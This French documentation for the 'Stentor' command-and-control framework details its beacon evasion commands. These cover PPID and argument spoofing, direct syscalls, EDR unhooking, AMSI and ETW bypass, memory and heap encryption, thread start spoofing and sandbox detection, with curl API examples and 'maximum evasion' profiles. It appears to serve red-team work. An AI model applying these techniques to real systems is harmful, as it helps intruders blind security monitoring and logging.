Commandes d'évasion¶

Les contrôles d'évasion à l'exécution permettent aux opérateurs de modifier la posture défensive d'un beacon après son déploiement. Ces commandes modifient la façon dont le beacon interagit avec le système d'exploitation - en ajustant le comportement de veille, le routage des appels système, les attributs de processus et les techniques de contournement EDR - le tout sans redéployer le payload.

Matrice de configuration d'évasion¶

Le tableau ci-dessous résume chaque commande d'évasion, sa syntaxe, si elle peut être modifiée au moment de l'exécution et la technique MITRE ATT&CK applicable.

Contrôle de la mise en veille et des rappels¶

Contrôlez la fréquence à laquelle le beacon s'enregistre auprès du serveur d'équipe. Des intervalles plus courts permettent une interaction plus rapide mais génèrent plus de trafic réseau.

sleep <seconds> [jitter%]¶

Définissez l'intervalle de rappel du beacon et le pourcentage de gigue facultatif.

Le beacon met à jour sa valeur de sommeil lors du prochain enregistrement : aucune tâche n'est mise en file d'attente via l'implant. Le serveur met directement à jour le registre des beacons et l'implant récupère la nouvelle valeur de la réponse d'enregistrement.

Syntaxe du shell :

sleep 60
sleep 30 25
sleep 0

Exemple d'API :

# Via shell command endpoint
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sleep 30 25"
  }'

# Via dedicated sleep endpoint
curl -s -X POST https://stentor.app/api/v1/cockpit/shell/sleep \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "interval": 30,
    "jitter": 25
  }'

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/sleep \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sleep_time": 30,
    "jitter": 25
  }'

sleepu <duration_string>¶

Définissez le sommeil à l’aide d’une chaîne de durée lisible par l’homme. Prend en charge les jours, heures, minutes, secondes et composants de gigue.

Format de durée : <N>d <N>h <N>m <N>s <N>j

Syntaxe du shell :

sleepu 2d 13h 45m 8s 30j
sleepu 30m 15j
sleepu 1h

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sleepu 30m 15j"
  }'

pause <milliseconds>¶

Pause ponctuelle : le beacon se met en veille une fois pendant la durée spécifiée, puis reprend son intervalle de rappel normal. Utile pour rester temporairement silencieux pendant une fenêtre spécifique.

Syntaxe du shell :

pause 300000

Cela met le beacon en pause pendant 5 minutes (300 000 ms), puis elle reprend le sommeil normal.

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "pause 300000"
  }'

checkin¶

Forcez le beacon à s'enregistrer immédiatement en mettant en file d'attente une tâche d'enregistrement. L'implant renvoie ses informations système lors du prochain cycle d'interrogation.

Syntaxe du shell :

checkin

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "checkin"
  }'

Configuration du processus¶

Configurez la façon dont le beacon génère les processus enfants. Ces paramètres affectent les opérations fork-and-run (exécution-assemblage, exécution BOF, injection de processus) et peuvent réduire considérablement la surface de détection du beacon.

ppid <pid>¶

Définissez l'ID du processus parent pour les processus enfants générés par le beacon. Utilise PROC_THREAD_ATTRIBUTE_PARENT_PROCESS pour donner l'impression que les processus enfants ont été générés par un parent légitime.

Syntaxe du shell :

ppid 4892
ppid 0

Exemple d'API :

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/ppid \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "pid": 4892
  }'

spawnto <x86|x64> <path>¶

Définissez le processus sacrificiel utilisé pour les opérations fork-and-run. Lorsque le beacon doit exécuter du code dans un processus distinct (par exemple, exécuter-assembly, BOF avec sortie), elle génère ce processus, l'injecte, capture la sortie et y met fin.

Syntaxe du shell :

spawnto x64 C:\Windows\System32\svchost.exe
spawnto x86 C:\Windows\SysWOW64\rundll32.exe

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "spawnto x64 C:\\Windows\\System32\\svchost.exe"
  }'

blockdlls [start|stop]¶

Empêchez le chargement des DLL non signées par Microsoft dans les processus enfants. Cela applique PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON à tous les processus générés par le beacon.

Syntaxe du shell :

blockdlls start
blockdlls stop

Exemple d'API :

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/blockdlls \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "enabled": true
  }'

argue <command> <fake_args>¶

Définissez de faux arguments de ligne de commande pour une commande spécifique. Lorsque le beacon génère le processus, elle utilise les faux arguments (visibles pour la surveillance du processus), puis corrige les vrais arguments dans le PEB avant que le processus ne commence l'exécution.

Syntaxe du shell :

argue net1.exe /enum /domain
argue powershell.exe -NoProfile -WindowStyle Hidden -Command "Get-Date"

Lorsque net1.exe est ensuite généré, les journaux de création de processus (événement Sysmon 1, événement Windows 4688) afficheront les faux arguments au lieu des vrais.

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "argue net1.exe /enum /domain"
  }'

Configuration des appels système et des API¶

Contrôlez la manière dont le beacon appelle les fonctions de l'API Windows. Ces paramètres déterminent si les appels d'API passent par les hooks DLL en mode utilisateur (où EDR instrumente sa surveillance) ou les contournent via des appels système directs/indirects.

syscall-method <none|direct|indirect>¶

Modifiez la méthode d'appel système au moment de l'exécution.

syscall-method none

syscall-method direct

syscall-method indirect

Exemple d'API :

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/syscallMethod \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "method": "indirect"
  }'

beacon_gate [enable|disable]¶

Activez ou désactivez BeaconGate, qui intercepte 25 API Windows couramment connectées et les achemine via la méthode d'appel système configurée (directe ou indirecte).

Syntaxe du shell :

beacon_gate enable
beacon_gate disable
beacon_gate mask_on_call true
beacon_gate mask_on_call false

Exemple d'API :

# Via state API
curl -s -X PUT https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/beacongate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "enabled": true
  }'

# Query current BeaconGate status
curl -s https://stentor.app/api/v1/c2/beacons/BEACON_UUID/state/beacongate \
  -H "Authorization: Bearer $TOKEN"

Les 25 API fermées sont organisées par catégorie :

Masque sur appel : Lorsqu'il est activé, BeaconGate crypte la mémoire du beacon avant chaque appel d'API bloqué et la déchiffre après. Évasion maximale au prix d’une surcharge CPU plus élevée. Automatiquement désactivé lorsque la veille du beacon descend en dessous de 3 secondes (mode interactif).

sleep_config¶

Configurez le comportement du masque de sommeil : chiffrement de texte, chiffrement de tas, usurpation d'identité de pile et méthode de veille. Les sous-commandes modifient les paramètres individuels.

sleep_config

sleep_config sleep_mask on
sleep_config sleep_mask off

sleep_config heap_mask on
sleep_config heap_mask off

sleep_config stack_spoof on
sleep_config stack_spoof off

sleep_config method direct
sleep_config method timer_queue

sleep_config stack_depth 0
sleep_config stack_depth 5

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sleep_config sleep_mask on"
  }'

Évasion de la mémoire¶

Protégez le contenu de la mémoire du beacon pendant les opérations réseau et au repos. Ces techniques complètent le masquage du sommeil en sécurisant la mémoire en dehors des cycles de sommeil.

safe_http [on|off]¶

Chiffrez la mémoire du beacon lors des opérations d'enregistrement HTTP/HTTPS. Lorsqu'elle est activée, le beacon crypte ses données .text, son tas et ses données de configuration à l'aide de RC4 (via SystemFunction032) avant d'effectuer des appels de transport, puis déchiffre une fois la réponse traitée. Cela empêche les analyseurs de mémoire de trouver des signatures de beacon pendant la fenêtre d'E/S réseau.

Syntaxe du shell :

safe_http on
safe_http off

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"evasion","data":{"method":"safe_http","params":{"enabled":true}}}'

scatter_alloc [on|off]¶

Distribuez la mémoire des beacons sur des pages non contiguës au lieu d'une seule allocation importante. Chaque page est chiffrée indépendamment avec des clés RC4 par page via SystemFunction032. La lecture de pages dispersées utilise un modèle de déchiffrement-copie-rechiffrement qui n'expose jamais le beacon complète en mémoire à la fois.

Syntaxe du shell :

scatter_alloc on
scatter_alloc off

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"evasion","data":{"method":"scatter_alloc","params":{"enabled":true}}}'

Évasion EDR¶

Détectez et neutralisez les hooks de l'espace utilisateur EDR en interrogeant les fonctions hookées et en restaurant les octets d'API propres.

edr_query [module] [--verbose]¶

Analysez les DLL chargées à la recherche de hooks dans l'espace utilisateur. Par défaut, analyse ntdll.dll, kernel32.dll et kernelbase.dll. Spécifiez éventuellement une DLL spécifique à analyser.

Syntaxe du shell :

edr_query
edr_query ntdll.dll
edr_query kernel32.dll --verbose

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "edr_query ntdll.dll"
  }'

Sortie : Répertorie les fonctions accrochées avec les adresses cibles de saut. Les fonctions hookées voient leurs premiers octets remplacés par une instruction JMP pointant vers le code de surveillance de l'EDR.

edr_unhook <method>¶

Restaurez les octets de l'API propres pour annuler les hooks de l'espace utilisateur EDR. Plusieurs stratégies de restauration sont disponibles.

edr_unhook
edr_unhook knowndlls
edr_unhook knowndlls kernel32.dll

edr_unhook disk

edr_unhook targeted NtAllocateVirtualMemory
edr_unhook targeted NtWriteVirtualMemory ntdll.dll

edr_unhook heavensgate

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "edr_unhook knowndlls"
  }'

Évitement des points d'arrêt matériels¶

Utilisez les registres de débogage du processeur (DR0-DR3) et un gestionnaire d'exceptions vectorielles (VEH) pour contourner AMSI et ETW sans modifier aucun octet de code en mémoire.

hwbp <target> [on|off]¶

Contrôlez le contournement basé sur des points d'arrêt matériels pour AMSI, ETW ou les deux.

Syntaxe du shell :

hwbp amsi on
hwbp etw on
hwbp both on
hwbp amsi off
hwbp both off

Point d'arrêt matériel personnalisé :

hwbp custom AmsiScanBuffer amsi.dll 0

Définissez un point d'arrêt matériel sur une fonction arbitraire. Le VEH intercepte l'exécution à l'adresse du point d'arrêt et renvoie la valeur spécifiée.

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "hwbp both on"
  }'

Comment ça marche¶

1. Le beacon définit les registres de débogage (DR0-DR3) pour pointer vers AmsiScanBuffer et/ou EtwEventWrite
2. Un gestionnaire d'exceptions vectorielles (VEH) est enregistré pour intercepter les exceptions EXCEPTION_SINGLE_STEP
3. Lorsque la fonction hookée est appelée, le CPU déclenche une exception de débogage avant l'exécution
4. Le VEH intercepte l'exception et modifie la valeur de retour :
   • AMSI : Renvoie AMSI_RESULT_CLEAN (0) - toutes les analyses rapportent "propre"
   • ETW : Renvoie ERROR_SUCCESS (0) - tous les événements sont supprimés silencieusement
5. L'exécution continue normalement avec le contournement en vigueur

Contournement AMSI et ETW¶

Approche traditionnelle de correctifs en ligne pour contourner AMSI (Antimalware Scan Interface) et ETW (Event Tracing pour Windows). Ceux-ci modifient les octets de code en mémoire – pour une alternative sans correctif, voir Hardware Breakpoint Evasion ci-dessus.

Contournement AMSI¶

Corrige AmsiScanBuffer dans amsi.dll pour renvoyer AMSI_RESULT_CLEAN pour toutes les demandes d'analyse. Empêche PowerShell, .NET, VBScript et JScript de signaler le contenu lié aux beacons.

Syntaxe du shell :

amsi

Cette commande est envoyée en tant que tâche d'évasion avec {"method": "amsi"}.

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "amsi"
  }'

Contournement ETW¶

Corrige EtwEventWrite dans ntdll.dll avec une instruction RET, faisant taire tous les événements ETW du processus du beacon. Empêche les événements d'exécution .NET, la journalisation PowerShell et d'autres télémétries basées sur ETW.

Syntaxe du shell :

etw

Cette commande est envoyée en tant que tâche d'évasion avec {"method": "etw"}.

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "etw"
  }'

Configuration OPSEC¶

opsec¶

Interrogez l’état actuel de la configuration d’évasion du beacon. Renvoie un audit complet de tous les paramètres d’évasion avec leurs valeurs actuelles, leurs scores de risque et leurs recommandations.

Syntaxe du shell :

opsec

Exemple d'API :

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "opsec"
  }'

La sortie inclut :

• Intervalle de sommeil et gigue actuels
• Chemins de processus de génération (x86 et x64)
• État des BlockDLL
• Méthode Syscall (aucun/direct/indirect)
• Cible d'usurpation d'identité PPID
• Masque de sommeil, masque de tas et statut d'usurpation de pile
• Statut BeaconGate
• Statut HWBP
• Score OPSEC global avec recommandations

Anti-analyse¶

Détectez les environnements sandbox, débogueur et machine virtuelle avant d’exécuter des opérations sensibles. Le beacon peut être configurée pour s'arrêter automatiquement, dormir indéfiniment ou ignorer la tâche en cours lorsque des indicateurs d'analyse sont détectés.

anti_analysis [options]¶

Configurez les vérifications de l'environnement d'exécution qui s'exécutent avant l'exécution de la tâche. Utilise un modèle de détection basé sur un seuil : un seul indicateur n'est pas suffisant pour déclencher (nécessite plus de 2 indicateurs pour réduire les faux positifs).

Syntaxe du shell :

anti_analysis on
anti_analysis off
anti_analysis status

Catégories de détection :

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"evasion","data":{"method":"anti_analysis","params":{"enabled":true}}}'

Exécution asynchrone de BOF¶

Exécutez les fichiers objet Beacon de manière asynchrone pendant le cycle de veille du beacon. Contrairement au standard inline-execute (qui bloque jusqu'à la fin), bof_async lance le BOF dans une goroutine en arrière-plan et fournit les résultats lors du prochain enregistrement.

bof_async <bof_file> [args]¶

Exécutez un BOF en arrière-plan sans bloquer la boucle de tâches principale du beacon. La sortie est mise en file d'attente et livrée lors du prochain cycle d'enregistrement (pas de réveil anticipé - correspond au comportement de Cobalt Strike).

Syntaxe du shell :

bof_async /path/to/bof.o arg1 arg2
bof_async /tmp/enum_users.o CORP

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"bof_async","data":{"bof_path":"/tmp/enum_users.o","args":"CORP"}}'

Evasion avancee du sommeil¶

L’usurpation de l’adresse de depart du thread et le chiffrement du tas sont des techniques d’evasion avancees du cycle de sommeil qui renforcent les threads et la memoire du beacon contre l’analyse EDR pendant les periodes d’inactivite. Les deux fonctionnent comme des hooks pre-sommeil/post-reveil integres dans le pipeline du masque de sommeil.

Usurpation de l’adresse de depart du thread¶

Probleme : Les threads du beacon injecte ont leur Win32StartAddress pointant vers de la memoire non-sauvegardee (privee). C’est un indicateur principal pour les outils d’analyse de threads EDR tels que Get-InjectedThread, Process Hacker et PE-sieve. Les threads OS legitimes ont toujours des adresses de depart pointant vers des exports DLL connus.

Comment ca fonctionne :

1. Resolution du pool d’exports -- Lors de la premiere utilisation, le module resout un pool organise de 6 exports DLL legitimes qui sont des points d’entree de threads courants :

   DLL	Export	Justification
   ntdll.dll	RtlUserThreadStart	Adresse de depart de thread legitime la plus courante
   ntdll.dll	TppWorkerThread	Worker du pool de threads -- naturel pour l’injection APC
   ntdll.dll	TpReleasePool	Routine de nettoyage du pool de threads
   ntdll.dll	RtlExitUserThread	Routine de sortie de thread
   kernel32.dll	BaseThreadInitThunk	Thunk d’initialisation de thread standard
   kernel32.dll	CtrlRoutine	Gestionnaire de controle de console

   Seuls les exports des DLL deja chargees dans le processus sont inclus (pas d’appels LoadLibrary).

2. Enumeration des threads -- Enumere tous les threads du processus courant via CreateToolhelp32Snapshot avec TH32CS_SNAPTHREAD.

3. Requete d’adresse de depart -- Pour chaque thread, interroge le Win32StartAddress actuel via NtQueryInformationThread (classe d’information 9, ThreadQuerySetWin32StartAddress).

4. Usurpation -- Si l’adresse de depart du thread pointe vers de la memoire non-sauvegardee/privee (ne correspondant a aucun export DLL connu), elle est ecrasee avec un export selectionne aleatoirement dans le pool via NtSetInformationThread. L’adresse originale est sauvegardee pour la restauration au reveil.

5. Restauration -- Apres le reveil du sommeil, UnspoofThreadStartAddress() restaure toutes les valeurs originales de Win32StartAddress et ferme les handles de threads.

Rotation par cycle (EVA-02) : A chaque cycle de sommeil suivant, RotateThreadStartSpoof() remplace chaque adresse usurpee par un export DIFFERENT aleatoire du pool. La selection utilise crypto/rand avec jusqu’a 10 tentatives pour garantir le choix d’une adresse differente. Cela annule les analyses EDR periodiques qui remarqueraient la meme adresse de depart persistant a travers plusieurs intervalles d’analyse.

Chiffrement du tas¶

Probleme : Pendant le sommeil, les donnees sensibles du tas -- configuration, etat du transport, cache de credentials et tampons de taches -- restent en clair dans la memoire. Les scanners de memoire peuvent identifier les signatures du beacon, les URL C2 et les credentials recoltes en analysant les regions du tas pendant que le beacon dort.

Algorithme : AES-128-CTR avec acceleration materielle AES-NI. Contrairement au pipeline HeapMask existant base sur RC4 (qui utilise SystemFunction032), le chiffrement du tas utilise la bibliotheque standard Go crypto/aes + crypto/cipher en mode CTR, qui exploite les instructions materielles AES-NI sur les processeurs modernes. La performance typique est <1ms pour les tailles de tas typiques du beacon.

Rotation de cle par cycle : Chaque cycle de sommeil genere une cle de 16 octets et un IV de 16 octets completement nouveaux a partir du CSPRNG (crypto/rand). Le materiel de cle combine de 32 octets est conserve uniquement pendant l’intervalle de sommeil et mis a zero immediatement apres le dechiffrement via ZeroKey() explicite avec runtime.KeepAlive pour empecher l’optimisation du compilateur d’eliminer la boucle de mise a zero.

Portee de couverture (EVA-04) : Tous les enregistrements de tas suivis sont chiffres :

Le client de transport lui-meme est exclu via le drapeau ExcludeFromSafeHTTP pour eviter les blocages pendant les operations HTTP.

Chiffrement en place : Le mode CTR est base sur XOR, ce qui signifie que la meme operation XORKeyStream avec la meme cle et le meme IV chiffre et dechiffre. Aucune allocation memoire supplementaire n’est necessaire -- le chiffrement et le dechiffrement s’effectuent directement sur les regions memoire du tas.

Independant de HeapMask : Le chiffrement du tas fonctionne separement du pipeline HeapMask base sur RC4. HeapMask chiffre via RC4/SystemFunction032 ; le chiffrement du tas utilise AES-128-CTR. Les deux peuvent fonctionner simultanement pour une defense en profondeur.

Performance : <2ms combines chiffrement + dechiffrement pour les tailles de tas typiques du beacon. Pas d’appels VirtualProtect necessaires car la memoire du tas est deja RW.

Ordre d’integration dans le cycle de sommeil¶

L’usurpation de thread et le chiffrement du tas sont integres dans le pipeline du masque de sommeil comme des hooks pre-sommeil et post-reveil. L’ordre d’execution garantit que la memoire est protegee avant le sommeil et restauree avant que le beacon ne reprenne ses operations.

sequenceDiagram
    participant B as Beacon
    participant HE as Heap Encryption
    participant TS as Thread Spoofing
    participant S as Sleep Method

    Note over B: Pre-sleep phase
    B->>HE: 1. EncryptHeapRegions()
    Note over HE: AES-128-CTR with fresh CSPRNG key+IV
    HE-->>B: Returns 32-byte key+IV

    B->>TS: 2. SpoofThreadStartAddress() / RotateThreadStartSpoof()
    Note over TS: First call: spoof all threads<br/>Subsequent: rotate to new exports

    B->>S: 3. Sleep (SleepEx or timer_queue)
    Note over S: Beacon is dormant<br/>Memory encrypted, threads spoofed

    S-->>B: Wake

    Note over B: Post-wake phase
    B->>TS: 4. UnspoofThreadStartAddress()
    Note over TS: Restore original Win32StartAddress values

    B->>HE: 5. DecryptHeapRegions(key+IV)
    Note over HE: Decrypt with same key+IV, then zero key

Justification de l’ordre :

• Chiffrement du tas avant usurpation de thread -- Garantit que la memoire sensible est chiffree meme si l’usurpation de thread rencontre une erreur
• Restauration avant dechiffrement -- Restaure l’etat des threads avant que le beacon n’ait besoin d’acceder aux donnees du tas pour le traitement des taches
• Les erreurs dans l’un ou l’autre sous-systeme ne sont pas fatales : le pipeline du masque de sommeil revient au sommeil normal et assure le nettoyage via la recuperation de panique differee

Bascules de configuration¶

Les deux fonctionnalites sont controlees independamment via les sous-commandes sleep_config :

sleep_config thread_spoof on
sleep_config thread_spoof off
sleep_config heap_encrypt on
sleep_config heap_encrypt off

Exemple d’API :

# Activer l’usurpation de l’adresse de depart du thread
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d ‘{
    "beacon_id": "BEACON_UUID",
    "command": "sleep_config thread_spoof on"
  }’

# Activer le chiffrement du tas
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d ‘{
    "beacon_id": "BEACON_UUID",
    "command": "sleep_config heap_encrypt on"
  }’

Utilisez sleep_config (sans arguments) pour verifier l’etat actuel des deux parametres ainsi que toutes les autres options du masque de sommeil.

Profils d’evasion recommandes¶

Utilisez ces profils comme points de départ pour différents scénarios d’engagement.

Laboratoire/Tests (Pas d'évasion)¶

sleep 5
syscall-method none

Paramètres par défaut avec un rappel rapide pour une itération rapide.

Engagement standard (évasion modérée)¶

sleep 60 25
ppid 4892
spawnto x64 C:\Windows\System32\RuntimeBroker.exe
blockdlls start
syscall-method indirect
sleep_config sleep_mask on

Environnement lourd EDR (évasion maximale)¶

sleep 300 40
ppid 4892
spawnto x64 C:\Windows\System32\RuntimeBroker.exe
blockdlls start
syscall-method indirect
beacon_gate enable
beacon_gate mask_on_call true
sleep_config sleep_mask on
sleep_config heap_mask on
sleep_config stack_spoof on
sleep_config stack_depth 0
sleep_config method timer_queue
sleep_config thread_spoof on
sleep_config heap_encrypt on
safe_http on
scatter_alloc on
anti_analysis on
hwbp both on
argue net1.exe /enum /domain